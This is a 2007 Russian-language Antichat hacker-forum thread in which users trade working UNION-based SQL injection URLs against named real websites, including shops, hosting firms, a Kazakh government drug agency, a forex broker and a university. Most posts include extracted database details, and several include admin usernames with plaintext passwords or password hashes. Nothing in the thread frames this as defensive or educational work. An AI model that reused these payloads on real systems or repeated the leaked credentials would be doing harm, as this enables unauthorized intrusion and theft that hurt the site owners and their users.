SQL Инъекции

19.06.2007, 13:52

l1ght

Reservists Of Antichat - Level 6

Регистрация: 05.12.2006

Сообщений: 195

С нами: 10227206

Репутация: 2163

Цитата:

Сообщение от Nekt

Код:

http://ipodmania.ru/index.php?state=catalogs&activeCategory=181-1

Пустышка?

Код:

http://ipodmania.ru/index.php?state=catalogs&activeCategory=184+union+select+1,concat(login,0x3a,password)+from+user/*

угук вывода нет (

н:

Код:

http://hspbru.majordomo.ru/?do=structure&pid=1&id=-1+union+select+version(),user()/*

Код:

http://hosting.rbc.ru/ru/support/cron/?id35=-1'+union+select+1,2,3,4,5,6,7,8,convert(concat_ws(0x3b,user(),database(),version())+using+cp1251),10,11/*

Код:

http://ru-hosting.ru/news.php?hnews_id=-1+union+select+1,2,concat(0x3d,user(),version(),name,pass),4,5+from+users/*

Код:

http://sevinfo3.valuehost.ru/cbs/showalmanah.php?almanac_code=-1+union+select+1,concat(0x3a,user(),version(),database()),3,4,5,6/*

22.06.2007, 22:06

Grey

Познавший АНТИЧАТ

Регистрация: 10.06.2006

Сообщений: 1,113

С нами: 10483586

Репутация: 5826

Код:

http://www.cspr.info/index.php?view=statti&sub_id=-1+union+select+1,2,concat(database(),char(58),user(),char(58),version()),4,5,6/*

cspr_cspr:cspr_cspr@localhost:4.1.21-standard-log

Форум:

Код:

http://www.cspr.info/index.php?view=statti&sub_id=-1+union+select+1,2,concat(username,char(58),user_password),4,5,6+from+phpbb_users+limit+1,1/*

admin:34d7b21152ce773f71ddcc88c99d4231:::shutnick

Сайт:

Код:

http://www.cspr.info/index.php?view=statti&sub_id=-1+union+select+1,2,concat(login,char(58),password),4,5,6+from+users/*

admin:forgetit

28.06.2007, 00:57

Пчел

Новичок

Регистрация: 17.05.2007

Сообщений: 13

С нами: 9992250

Репутация: 20

Интернет-магазин цифровой и портативной техники.

Код:

http://www.texnostar.com.ua/a-news/news.php?id=-19456+union+select+1,2,3,4,5,6,7,8,9,10/*&groupid=0

USER: texnosta_texno@localhost
DATABASE: texnosta_texno
VERSION: 4.1.21-standard-log

Тоже инет-магазин.

Код:

http://te.com.ua/catalog.php?cat=-156878+union+select+1,2,3,4,5,6,7,8/*

USER: u_te@localhost
DATABASE: te
VERSION: 4.1.22-standard

Магазин подарков "Luxury Gifts".

Код:

http://www.l-gifts.ru/view_catalog.php?type_low=-12345+union+select+1,2/*

USER: vittorio@pm18.zenon.net
DATABASE: vittorio
VERSION: 4.0.24-log

БЕЛЭКСПОЦЕНТР Белгородская торгово-промышленная палата.

Код:

http://www.belexpocentr.ru/show.php?id=-12345+union+select+1,2,3,4,5,6,7,table_name,9,10,11,12,13,14,15,16,17,18,19,20,21+from+INFORMATION_SCHEMA.TABLES+limit+0,1/*

USER: belexpocentr@localhost
DATABASE: www_belexpocentr_ru
VERSION: 5.0.42

GiperShop Интернет-магазин Запорожье - Украина.

Код:

http://mobila.gipershop.net.ua/descript.php?kodmob=-12345+union+select+1,2,3,4,5,6,7,8,9,10,11/*

USER: gipersho_guest@localhost
DATABASE: gipersho_mob
VERSION: 4.1.22-standard

Белгрейн. Отделочные и строительные материалы.

Код:

http://www.belgrein.biz/product.php?product=-12345+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/*

USER: belgrein_zvonok@localhost
DATABASE: belgrein_belgreinnew
VERSION: 4.0.27-standard

Национальный центр экспертизы лекарственных средств Республики Казахстан.

Код:

http://www.dari.kz/index.php?p=news_a&cat_id=&id=-12345+union+select+1,2,3,4,table_name,6,7,8,9,10,11+from+INFORMATION_SCHEMA.TABLES+limit+0,1/*

USER: dariadm@localhost
DATABASE: dari
VERSION: 5.0.27

Национальный Информационный Сервис PULSET.

Код:

http://www.pulset.ru/a_news.php?id_n=-12345+union+select+1,2,3,4/*&type_n=&act=this

USER: mediabro@lex.rbc.ru
DATABASE: wwwmediabrokerru
VERSION: 4.1.18

28.06.2007, 01:35

RaDDeaD

Познающий

Регистрация: 28.12.2006

Сообщений: 44

С нами: 10194760

Репутация: 56

Ошибка в fоrex

Код:

__http://www.liteforex.net/litetext.php?liteid=-1+union+select+1,2,3,4,password,6,7,8,9,10,11,12,13,14,15,16,17+from+mysql.user/*

Код:

__http://www.liteforex.net/litetext.php?liteid=-1+union+select+1,2,3,4,concat(user_id,0x3a,username,0x3a,user_password,0x3a,user_email,0x3a,user_icq),6,7,8,9,10,11,12,13,14,15,16,17+from+phpbb_users+where+user_id=2/*

Последний раз редактировалось _Pantera_; 28.06.2007 в 12:42..

06.07.2007, 21:07

Extremal

Познающий

Регистрация: 21.06.2006

Сообщений: 74

С нами: 10467109

Репутация: 222

Код:

http://fk.uni-mb.si/index.php?id=1+union+select+1,2,3,4,user,6,7,8,9,10,11,12,13,14,15+from+mysql.user/*

Код:

http://fk.uni-mb.si/index.php?id=1+union+select+1,2,3,4,password,6,7,8,9,10,11,12,13,14,15+from+mysql.user/*

root : fkadmin

09.07.2007, 00:18

Shram-spb

Познающий

Регистрация: 06.06.2007

Сообщений: 83

С нами: 9963383

Репутация: 140

Получите - распишитесь

Код:

http://www.britishcat.ru/articles.html?Action=ShowArticle&Article=-1+union+select+1,2,3,4,concat_ws(char(58),username,password,salt,email,icq,skype)+from+vbuser/*

Создать сделку

Мои сделки

Сделка

ESCROW ADMIN PANEL